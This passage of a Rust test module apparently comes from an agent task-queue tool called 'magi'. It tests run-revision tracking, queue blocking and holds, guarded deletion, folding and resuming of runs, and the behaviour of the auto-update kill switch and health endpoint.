12952 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12953 "counts": [queue.len(), runs.len(), talks.len()],
12954 "blocked": queue_delta.len() - 1,
12955 })
12956 );
12957 }
12958
12959 #[test]
12960 fn runs_revision_moves_when_deleting_an_older_run() {
12961 let temp = TempDir::new().expect("tempdir");
12962 let runs = temp.path().join("runs");
12963 std::fs::create_dir_all(&runs).expect("create runs dir");
12964
12965 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12966
12967 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12968 std::thread::sleep(Duration::from_millis(10));
12969 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12970
12971 let rev_before = runs_revision(&runs);
12972 assert!(rev_before > 0);
12973
12974 let old_dir = runs.join("20260901-100000-old1");
12975 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12976
12977 let rev_after = runs_revision(&runs);
12978 assert_ne!(
12979 rev_before, rev_after,
12980 "deleting an older run must change the revision so other clients see the deletion"
12981 );
12982 }
12983
12984 fn write_state(runs: &FsPath, state: &RunState) {
12989 let dir = runs.join(&state.id);
12990 std::fs::create_dir_all(&dir).expect("run dir");
12991 std::fs::write(
12992 dir.join("run.json"),
12993 serde_json::to_string_pretty(state).expect("serialize run"),
12994 )
12995 .expect("write run.json");
12996 }
12997
12998 #[test]
13003 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13004 let temp = TempDir::new().expect("tempdir");
13005 let runs = temp.path().join("runs");
13006 std::fs::create_dir_all(&runs).expect("create runs dir");
13007 let mut state = RunState::new(
13008 PathBuf::from("/repo/magi"),
13009 "main".to_owned(),
13010 "0123456789abcdef".to_owned(),
13011 "task".to_owned(),
13012 Config::default(),
13013 );
13014 state.id = "20260902-100000-c0de".to_owned();
13015 write_state(&runs, &state);
13016
13017 let rev_idle = runs_revision(&runs);
13018 std::thread::sleep(Duration::from_millis(10));
13019 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13020 write_state(&runs, &state);
13021 let rev_started = runs_revision(&runs);
13022 assert_ne!(
13023 rev_idle, rev_started,
13024 "a seat starting must move the revision"
13025 );
13026
13027 std::thread::sleep(Duration::from_millis(10));
13028 state.seat_finished("judge-1");
13029 write_state(&runs, &state);
13030 let rev_finished = runs_revision(&runs);
13031 assert_ne!(
13032 rev_started, rev_finished,
13033 "and clearing it again must move the revision a second time"
13034 );
13035 }
13036
13037 #[tokio::test]
13038 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13039 let fx = Fixture::start().await;
13044 let q = fx.queue();
13045
13046 let mut t = Task::new(
13047 "Task".to_owned(),
13048 "Instruction".to_owned(),
13049 PathBuf::from("/repo"),
13050 Source::Human,
13051 );
13052 t.block(
13053 vec!["20260101-000000-dead".to_owned()],
13054 Some("waiting on Task 1".to_owned()),
13055 );
13056 t.answers.push(crate::queue::AnsweredQuestion {
13057 question: "Which backend?".to_owned(),
13058 answer: "SQLite".to_owned(),
13059 });
13060 q.put(&mut t).expect("put t");
13061
13062 let res = fx.get("/api/queue").await;
13063 assert_eq!(res.status, 200);
13064 let list = res.json();
13065 let view = list
13066 .as_array()
13067 .expect("array")
13068 .iter()
13069 .find(|v| v["id"] == t.id)
13070 .expect("task in list");
13071 assert_eq!(view["status_str"], "blocked");
13072 assert_eq!(
13073 view["blocked_by"],
13074 serde_json::json!(["20260101-000000-dead"])
13075 );
13076 assert_eq!(view["block_reason"], "waiting on Task 1");
13077 assert_eq!(view["answers"][0]["question"], "Which backend?");
13078 assert_eq!(view["answers"][0]["answer"], "SQLite");
13079
13080 let res = fx
13084 .post(&format!("/api/queue/{}/hold", t.short()), None)
13085 .await;
13086 assert_eq!(res.status, 200);
13087 let held = res.json();
13088 assert_eq!(held["status_str"], "held");
13089 assert_eq!(held["blocked_by"], serde_json::json!([]));
13090 assert!(held["block_reason"].is_null());
13091 assert_eq!(held["answers"][0]["answer"], "SQLite");
13092 }
13093
13094 #[tokio::test]
13095 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13096 let fx = Fixture::start().await;
13097 let q = fx.queue();
13098 let mk = |title: &str| {
13099 Task::new(
13100 title.to_owned(),
13101 "Instruction".to_owned(),
13102 PathBuf::from("/repo"),
13103 Source::Human,
13104 )
13105 };
13106 let mut root = mk("root");
13107 root.hold_manual(Some("waiting".to_owned()));
13108 q.put(&mut root).unwrap();
13109 let mut mid = mk("mid");
13110 mid.block(vec![root.id.clone()], None);
13111 q.put(&mut mid).unwrap();
13112 let mut leaf = mk("leaf");
13113 leaf.block(vec![mid.id.clone()], None);
13114 q.put(&mut leaf).unwrap();
13115
13116 let list = fx.get("/api/queue").await.json();
13117 let find = |id: &str| {
13118 list.as_array()
13119 .unwrap()
13120 .iter()
13121 .find(|v| v["id"] == id)
13122 .unwrap()
13123 .clone()
13124 };
13125 let leaf_view = find(&leaf.id);
13126 assert_eq!(
13127 leaf_view["waits_on"],
13128 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13129 );
13130 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13131 assert_eq!(
13132 find(&mid.id)["waits_on"],
13133 serde_json::json!([format!("{} (held)", root.short())])
13134 );
13135 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13136 }
13137
13138 #[tokio::test]
13139 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13140 let fx = Fixture::start().await;
13141 let q = fx.queue();
13142
13143 let mut t1 = Task::new(
13145 "Task 1".to_owned(),
13146 "Instruction 1".to_owned(),
13147 PathBuf::from("/repo"),
13148 Source::Human,
13149 );
13150 let run_id = "20260901-000000-r111";
13151 t1.runs.push(run_id.to_owned());
13152 write_run(&fx.runs(), run_id, RunStatus::Merged);
13153 q.put(&mut t1).expect("put t1");
13154
13155 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13157 assert_eq!(res.status, 204);
13158 assert!(res.body.is_empty(), "204 No Content has no body");
13159 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13160 assert!(
13161 fx.runs().join(run_id).exists(),
13162 "run directory must not be deleted when its task is deleted"
13163 );
13164
13165 let mut t2 = Task::new(
13167 "Task 2".to_owned(),
13168 "Instruction 2".to_owned(),
13169 PathBuf::from("/repo"),
13170 Source::Human,
13171 );
13172 t2.status = TaskStatus::Running;
13173 q.put(&mut t2).expect("put t2");
13174 let mut beat = crate::daemon::Status::new();
13175 beat.current = vec![crate::daemon::Current {
13176 task: t2.id.clone(),
13177 run: "20260901-000000-r222".to_owned(),
13178 }];
13179 beat.updated_at = jiff::Timestamp::now();
13180 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13181 .expect("publish a heartbeat");
13182 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13183 assert_eq!(res.status, 409);
13184 assert!(
13185 res.json()["error"]
13186 .as_str()
13187 .unwrap()
13188 .contains("live daemon")
13189 );
13190 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13191
13192 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13198 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13199 .expect("leave a stale heartbeat");
13200 let mut t3 = Task::new(
13201 "Task 3".to_owned(),
13202 "Instruction 3".to_owned(),
13203 PathBuf::from("/repo"),
13204 Source::Human,
13205 );
13206 t3.status = TaskStatus::Running;
13207 q.put(&mut t3).expect("put t3");
13208 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13209 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13210 assert_eq!(res.status, 204);
13211 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13212 assert!(
13213 q.claim(&t3.id).is_ok(),
13214 "the stale lock went with it, so the id is claimable again"
13215 );
13216
13217 let res = fx.delete("/api/queue/nonexistent").await;
13219 assert_eq!(res.status, 404);
13220 }
13221
13222 #[tokio::test]
13223 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13224 let fx = Fixture::start().await;
13225 let runs = fx.runs();
13226
13227 let run_id = "20260901-000000-fold";
13229 let mut state = RunState::new(
13230 PathBuf::from("/repo"),
13231 "main".to_owned(),
13232 "abc".to_owned(),
13233 "instruction".to_owned(),
13234 Config::default(),
13235 );
13236 state.id = run_id.to_owned();
13237 state.status = RunStatus::Merged;
13238 state.candidates.push(crate::run::Candidate {
13239 index: 0,
13240 label: 'A',
13241 agent: "a".to_owned(),
13242 branch: "b".to_owned(),
13243 worktree: PathBuf::from("/w"),
13244 summary: String::new(),
13245 stat: String::new(),
13246 files: 1,
13247 commits: 1,
13248 empty: false,
13249 failed: None,
13250 verified_noop: None,
13251 duration_ms: 0,
13252 folded: true,
13253 });
13254 let dir = runs.join(run_id);
13255 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13256 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13257 .expect("write artifact");
13258 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13259 .expect("write run.json");
13260
13261 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13263 assert_eq!(res.status, 204);
13264 assert!(res.body.is_empty(), "204 has no body");
13265 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13266
13267 let run_running = "20260901-000000-rung";
13272 write_run(&runs, run_running, RunStatus::Prep);
13273 let mut beat = crate::daemon::Status::new();
13274 beat.current = vec![crate::daemon::Current {
13275 task: "20260901-000000-task".to_owned(),
13276 run: run_running.to_owned(),
13277 }];
13278 beat.updated_at = jiff::Timestamp::now();
13279 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13280 .expect("publish a heartbeat");
13281 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13282 assert_eq!(res.status, 409);
13283 assert!(
13284 res.json()["error"]
13285 .as_str()
13286 .unwrap()
13287 .contains("live daemon"),
13288 "the refusal must say who is holding it"
13289 );
13290 assert!(
13291 runs.join(run_running).exists(),
13292 "a run in flight keeps its directory"
13293 );
13294
13295 let run_unfolded = "20260901-000000-unfd";
13297 let mut state2 = RunState::new(
13298 PathBuf::from("/repo"),
13299 "main".to_owned(),
13300 "abc".to_owned(),
13301 "instruction".to_owned(),
13302 Config::default(),
13303 );
13304 state2.id = run_unfolded.to_owned();
13305 state2.status = RunStatus::Ready;
13306 state2.candidates.push(crate::run::Candidate {
13307 index: 0,
13308 label: 'A',
13309 agent: "a".to_owned(),
13310 branch: "b".to_owned(),
13311 worktree: PathBuf::from("/w"),
13312 summary: String::new(),
13313 stat: String::new(),
13314 files: 1,
13315 commits: 1,
13316 empty: false,
13317 failed: None,
13318 verified_noop: None,
13319 duration_ms: 0,
13320 folded: false,
13321 });
13322 let dir2 = runs.join(run_unfolded);
13323 std::fs::create_dir_all(&dir2).expect("create dir2");
13324 std::fs::write(
13325 dir2.join("run.json"),
13326 serde_json::to_string(&state2).unwrap(),
13327 )
13328 .expect("write run.json");
13329
13330 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13331 assert_eq!(res.status, 409);
13332 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13333 assert!(dir2.exists(), "unfolded run directory is kept");
13334
13335 let res = fx.delete("/api/runs/nonexistent").await;
13337 assert_eq!(res.status, 404);
13338 }
13339
13340 #[test]
13349 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13350 let start = APP_JS
13351 .find("function renderStats() {")
13352 .expect("renderStats");
13353 let end = start
13354 + APP_JS[start..]
13355 .find("function statsTile(")
13356 .expect("the next top-level function");
13357 let body = &APP_JS[start..end];
13358
13359 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13360 let gate_end = gate_start
13361 + body[gate_start..]
13362 .find("}\n renderStatsQueue")
13363 .expect("the gate's own closing brace, right before the unconditional call");
13364 let gated = &body[gate_start..gate_end];
13365
13366 assert_eq!(
13367 body.matches("renderStatsQueue(").count(),
13368 1,
13369 "renderStats must call renderStatsQueue exactly once: {body}"
13370 );
13371 assert!(
13372 !gated.contains("renderStatsQueue"),
13373 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13374 run-derived panels on an empty run history - the queue panel has to render \
13375 regardless: {gated}"
13376 );
13377 }
13378
13379 #[test]
13380 fn web_ui_delete_contract_in_front_end() {
13381 assert!(APP_JS.contains("deleteRun:"));
13383 assert!(APP_JS.contains("deleteTask:"));
13384
13385 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13387 ..APP_JS.find("function renderRuns").unwrap()];
13388 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13389
13390 assert!(APP_JS.contains("renderRunDelete"));
13392 assert!(APP_JS.contains("runDeleteReason"));
13393 assert!(APP_JS.contains("magi fold"));
13394 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13395
13396 assert!(APP_JS.contains("cancel.focus"));
13398 assert!(APP_JS.contains("armedRunDelete"));
13399 assert!(APP_JS.contains("renderTaskDeleteBox"));
13400 assert!(APP_JS.contains("armed${cap(key)}"));
13401
13402 assert!(APP_JS.contains("disabled: status === \"running\""));
13404 }
13405
13406 #[test]
13426 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13427 let build = APP_JS
13428 .find("function createRunCard")
13429 .expect("createRunCard exists");
13430 let update = APP_JS
13431 .find("function updateRunCard")
13432 .expect("updateRunCard exists");
13433 let end = APP_JS
13434 .find("function renderRuns")
13435 .expect("renderRuns exists");
13436
13437 let builder = &APP_JS[build..update];
13439 let open = builder.find("refs = {").expect("createRunCard sets refs");
13440 let literal = &builder[open + "refs = {".len()..];
13441 let close = literal.find('}').expect("the refs literal is closed");
13442 let published: HashSet<&str> = literal[..close]
13443 .split(',')
13444 .filter_map(|entry| entry.split(':').next())
13446 .map(str::trim)
13447 .filter(|name| !name.is_empty())
13448 .collect();
13449 assert!(
13450 published.len() > 5,
13451 "the refs literal did not parse into names: {published:?}"
13452 );
13453
13454 let mut used: Vec<&str> = Vec::new();
13457 let updaters = &APP_JS[update..end];
13458 for (at, _) in updaters.match_indices("r.") {
13459 let before = updaters[..at].chars().next_back();
13462 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13463 continue;
13464 }
13465 let rest = &updaters[at + 2..];
13466 let len = rest
13467 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13468 .unwrap_or(rest.len());
13469 if len > 0 {
13470 used.push(&rest[..len]);
13471 }
13472 }
13473 assert!(
13474 used.len() > 5,
13475 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13476 );
13477
13478 let missing: Vec<&str> = used
13479 .iter()
13480 .copied()
13481 .filter(|name| !published.contains(name))
13482 .collect();
13483 assert!(
13484 missing.is_empty(),
13485 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13486 never put in `refs` - every card will throw and the list will \
13487 render empty under a count line that says otherwise. Published: \
13488 {published:?}"
13489 );
13490 }
13491
13492 #[tokio::test]
13493 async fn folding_from_the_phone_reports_what_it_removed() {
13494 let fx = Fixture::start().await;
13495 let runs = fx.runs();
13496
13497 let id = "20260901-000000-fold";
13501 write_run(&runs, id, RunStatus::Stalled);
13502 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13503 assert_eq!(res.status, 200);
13504 assert_eq!(res.json()["removed_count"], 0);
13505 assert_eq!(res.json()["run"], id);
13506 assert!(
13507 runs.join(id).exists(),
13508 "a fold keeps the run's record; only the worktrees go"
13509 );
13510 }
13511
13512 #[tokio::test]
13513 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13514 let fx = Fixture::start().await;
13515 let runs = fx.runs();
13516 let wt = fx.home.path().join("wt").join("magi").join("dead");
13517 let id = "20260901-000000-dead";
13518 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13519 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13520 std::fs::create_dir_all(&wt).expect("worktree dir");
13521
13522 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13523 assert_eq!(res.status, 200, "{}", res.body);
13524 assert!(
13525 res.json()["removed_count"].as_u64().unwrap() > 0,
13526 "the worktree this build could not read a state for still went"
13527 );
13528 assert!(
13529 !runs.join(id).exists(),
13530 "an unreadable run has no candidate list to fold selectively, so \
13531 the whole record goes - same as `magi fold` on the CLI"
13532 );
13533 }
13534
13535 #[tokio::test]
13536 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13537 let fx = Fixture::start().await;
13538 let runs = fx.runs();
13539 let wt = fx.home.path().join("wt").join("magi").join("gone");
13540 let id = "20260901-000000-gone";
13541 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13542 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13543 std::fs::create_dir_all(&wt).expect("worktree dir");
13544
13545 let res = fx.delete(&format!("/api/runs/{id}")).await;
13546 assert_eq!(res.status, 204, "{}", res.body);
13547 assert!(!runs.join(id).exists(), "the broken record is gone");
13548 assert!(!wt.exists(), "its worktree is gone too");
13549 }
13550
13551 #[tokio::test]
13552 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13553 let fx = Fixture::start().await;
13554 let runs = fx.runs();
13555 let id = "20260901-000000-live";
13556 write_run(&runs, id, RunStatus::Implementing);
13557
13558 let mut beat = crate::daemon::Status::new();
13559 beat.current = vec![crate::daemon::Current {
13560 task: "20260901-000000-task".to_owned(),
13561 run: id.to_owned(),
13562 }];
13563 beat.updated_at = jiff::Timestamp::now();
13564 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13565 .expect("publish a heartbeat");
13566
13567 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13568 assert_eq!(res.status, 409);
13569 assert!(
13570 res.json()["error"]
13571 .as_str()
13572 .unwrap()
13573 .contains("live daemon"),
13574 "folding under a running agent would pull its worktree away"
13575 );
13576 }
13577
13578 #[tokio::test]
13579 async fn fold_merged_requires_a_pr_url() {
13580 let fx = Fixture::start().await;
13581 let runs = fx.runs();
13582 let id = "20260901-000000-nourl";
13583 write_run(&runs, id, RunStatus::Blocked);
13584
13585 let res = fx
13586 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13587 .await;
13588 assert_eq!(res.status, 400, "{}", res.body);
13589
13590 let blank = fx
13591 .post(
13592 &format!("/api/runs/{id}/fold-merged"),
13593 Some(r#"{"pr_url":" "}"#),
13594 )
13595 .await;
13596 assert_eq!(blank.status, 400, "{}", blank.body);
13597 }
13598
13599 #[tokio::test]
13600 async fn fold_merged_is_404_for_an_unknown_run() {
13601 let fx = Fixture::start().await;
13602 let res = fx
13603 .post(
13604 "/api/runs/nosuchrun/fold-merged",
13605 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13606 )
13607 .await;
13608 assert_eq!(res.status, 404, "{}", res.body);
13609 }
13610
13611 #[tokio::test]
13612 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13613 let fx = Fixture::start().await;
13614 let runs = fx.runs();
13615 let id = "20260901-000000-livemerge";
13616 write_run(&runs, id, RunStatus::Blocked);
13617
13618 let mut beat = crate::daemon::Status::new();
13619 beat.current = vec![crate::daemon::Current {
13620 task: "20260901-000000-task".to_owned(),
13621 run: id.to_owned(),
13622 }];
13623 beat.updated_at = jiff::Timestamp::now();
13624 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13625 .expect("publish a heartbeat");
13626
13627 let res = fx
13628 .post(
13629 &format!("/api/runs/{id}/fold-merged"),
13630 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13631 )
13632 .await;
13633 assert_eq!(res.status, 409, "{}", res.body);
13634 assert!(
13635 res.json()["error"]
13636 .as_str()
13637 .unwrap()
13638 .contains("live daemon"),
13639 "correcting a run's merge underneath a running agent would race \
13640 whatever it is doing to the same `status`/`merge` fields"
13641 );
13642 }
13643
13644 #[tokio::test]
13649 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13650 let fx = Fixture::start().await;
13651 let runs = fx.runs();
13652 let id = "20260901-000000-unconfirmed";
13653 write_run(&runs, id, RunStatus::Blocked);
13654
13655 let res = fx
13656 .post(
13657 &format!("/api/runs/{id}/fold-merged"),
13658 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13659 )
13660 .await;
13661 assert_eq!(res.status, 400, "{}", res.body);
13662 assert_eq!(
13663 read_run(&runs, id).unwrap().status,
13664 RunStatus::Blocked,
13665 "a pull request that could not be confirmed merged must leave \
13666 the run exactly where it was"
13667 );
13668 }
13669
13670 #[tokio::test]
13671 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13672 let fx = Fixture::start().await;
13673 let runs = fx.runs();
13674
13675 for (status, word) in [
13681 (RunStatus::Merged, "merged"),
13682 (RunStatus::Ready, "ready"),
13683 (RunStatus::Failed, "failed"),
13684 ] {
13685 let id = format!("20260901-000000-{}", &word[..4]);
13686 write_run(&runs, &id, status);
13687 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13688 assert_eq!(res.status, 409, "{word} must not be resumable");
13689 let err = res.json()["error"].as_str().unwrap().to_owned();
13690 assert!(err.contains(word), "the refusal names the status: {err}");
13691 }
13692
13693 let mid = "20260901-000000-midf";
13698 write_run(&runs, mid, RunStatus::Reviewing);
13699 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13700 assert_eq!(res.status, 202, "an interrupted run is resumable");
13701 }
13702
13703 #[tokio::test]
13704 async fn resume_is_refused_while_the_loop_is_running() {
13705 let fx = Fixture::start().await;
13706 let runs = fx.runs();
13707 let stalled = "20260901-000000-stal";
13708 write_run(&runs, stalled, RunStatus::Stalled);
13709
13710 let mut beat = crate::daemon::Status::new();
13714 beat.current = vec![crate::daemon::Current {
13715 task: "20260901-000000-task".to_owned(),
13716 run: "20260901-000000-othr".to_owned(),
13717 }];
13718 beat.updated_at = jiff::Timestamp::now();
13719 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13720 .expect("publish a heartbeat");
13721
13722 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13723 assert_eq!(res.status, 409);
13724 let err = res.json()["error"].as_str().unwrap().to_owned();
13725 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13726 assert!(err.contains("stop it first"), "{err}");
13727 }
13728
13729 #[test]
13730 fn a_run_cannot_be_resumed_twice_at_once() {
13731 let home = TempDir::new().expect("temp home");
13732 let ui = Ui::new(
13733 Queue::at(home.path().join("queue")),
13734 Questions::at(home.path().join("questions")),
13735 Talks::at(home.path().join("talks")),
13736 home.path().join("runs"),
13737 home.path().to_path_buf(),
13738 PathBuf::from("/repo"),
13739 )
13740 .with_worktrees_root(home.path().join("wt"));
13741 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13742 let again = ui.begin_resume("20260901-000000-once");
13743 assert!(again.is_err(), "a second tap must not start a second graph");
13744 drop(first);
13745 assert!(
13746 ui.begin_resume("20260901-000000-once").is_ok(),
13747 "and the claim is released when the attempt ends"
13748 );
13749 }
13750
13751 #[test]
13752 fn talk_thinking_tracks_only_its_held_turn_claim() {
13753 let home = TempDir::new().expect("temp home");
13754 let ui = Ui::new(
13755 Queue::at(home.path().join("queue")),
13756 Questions::at(home.path().join("questions")),
13757 Talks::at(home.path().join("talks")),
13758 home.path().join("runs"),
13759 home.path().to_path_buf(),
13760 PathBuf::from("/repo"),
13761 )
13762 .with_worktrees_root(home.path().join("wt"));
13763 let id = "20260901-000000-once";
13764
13765 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13766 let turn = ui.begin_talk_turn(id).expect("claim turn");
13767 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13768 assert!(
13769 !ui.is_thinking("20260901-000000-other"),
13770 "one talk's turn does not make another talk busy"
13771 );
13772 drop(turn);
13773 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13774 }
13775
13776 #[tokio::test]
13777 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13778 let fx = Fixture::start().await;
13779 let mut beat = crate::daemon::Status::new();
13783 beat.pid = 4321;
13784 beat.updated_at = jiff::Timestamp::now();
13785 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13786 .expect("publish a heartbeat");
13787
13788 let res = fx.post("/api/upgrade", None).await;
13789 assert_eq!(res.status, 409);
13790 let err = res.json()["error"].as_str().unwrap().to_owned();
13791 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13792 assert!(err.contains("old one against the same queue"), "{err}");
13793 }
13794
13795 #[test]
13802 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13803 assert!(!should_spawn_recheck(&crate::config::Update {
13804 mode: UpdateMode::Off,
13805 interval: None,
13806 }));
13807
13808 unsafe {
13811 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13812 }
13813 let killed = should_spawn_recheck(&crate::config::Update {
13814 mode: UpdateMode::Notify,
13815 interval: None,
13816 });
13817 unsafe {
13818 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13819 }
13820 assert!(
13821 !killed,
13822 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13823 one-time startup check"
13824 );
13825
13826 assert!(should_spawn_recheck(&crate::config::Update {
13827 mode: UpdateMode::Notify,
13828 interval: None,
13829 }));
13830 }
13831
13832 #[test]
13838 fn recheck_poll_period_tracks_a_short_configured_interval() {
13839 let short = crate::config::Update {
13840 mode: UpdateMode::Notify,
13841 interval: Some("1m".to_owned()),
13842 };
13843 let period = recheck_poll_period(&short);
13844 assert!(
13845 period <= Duration::from_secs(30),
13846 "a one-minute interval must wake the task far sooner than the \
13847 default ceiling, or the deck would not notice within the \
13848 interval the operator configured: got {period:?}"
13849 );
13850
13851 let default = crate::config::Update {
13852 mode: UpdateMode::Notify,
13853 interval: None,
13854 };
13855 assert_eq!(
13856 recheck_poll_period(&default),
13857 UPDATE_RECHECK_POLL_MAX,
13858 "the default day-long interval should poll at the (capped) \
13859 ceiling rather than needlessly often"
13860 );
13861 }
13862
13863 #[test]
13871 fn recheck_skips_the_network_before_the_interval_elapses() {
13872 let dir = TempDir::new().expect("temp dir");
13873 let path = dir.path().join("state.json");
13874 let state = kaishin::UpdateCheckState {
13875 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13876 last_known_latest: None,
13877 last_known_url: None,
13878 };
13879 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13880
13881 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13882 assert!(
13883 !update_recheck_due(&checker, None),
13884 "a check made moments ago must not be repeated before the \
13885 configured interval elapses"
13886 );
13887 }
13888
13889 #[test]
13895 fn recheck_defers_to_an_upgrade_already_in_flight() {
13896 let dir = TempDir::new().expect("temp dir");
13897 let path = dir.path().join("state.json");
13898 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13899 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13900
13901 assert!(
13902 !update_recheck_due(&checker, Some(&progress)),
13903 "a recheck must not run while an upgrade this deck started is \
13904 still moving"
13905 );
13906 }
13907
13908 #[tokio::test]
13909 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13910 unsafe {
13922 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13923 }
13924 let fx = Fixture::start().await;
13925 let res = fx.post("/api/upgrade", None).await;
13926 unsafe {
13927 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13928 }
13929 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13930 let body = res.json();
13931 assert!(body["to"].is_null(), "there was no release to move to");
13932 assert!(body["parked"].is_null(), "and nothing was parked");
13933 assert!(
13934 body["detail"]
13935 .as_str()
13936 .unwrap()
13937 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13938 "{body:?}"
13939 );
13940 }
13941
13942 #[tokio::test]
13943 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13944 let repo = TempDir::new().expect("repo dir");
13960 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13961 .expect("write magi.toml");
13962 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13963
13964 let res = fx.post("/api/upgrade", None).await;
13970 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13971 let body = res.json();
13972 assert!(body["to"].is_null(), "there was no release to move to");
13973 assert!(body["parked"].is_null(), "and nothing was parked");
13974 assert!(
13975 body["detail"]
13976 .as_str()
13977 .unwrap()
13978 .contains("nothing restarted"),
13979 "{body:?}"
13980 );
13981 }
13982
13983 #[tokio::test]
13984 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13985 let repo = TempDir::new().expect("repo dir");
13990 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13991 .expect("write magi.toml");
13992 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13993
13994 let health = fx.get("/api/health").await.json();
13995 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13996 assert_eq!(
13997 health["update"]["available"], false,
13998 "checking is off, which reads as \"unknown\", not \"none\""
13999 );
14000 assert!(health["update"]["to"].is_null());
14001 assert!(
14002 health["upgrade"].is_null(),
14003 "nothing has ever asked this deck to upgrade"
14004 );
14005 }
14006
14007 #[tokio::test]
14008 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14009 let fx = Fixture::start().await;
14010 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14011
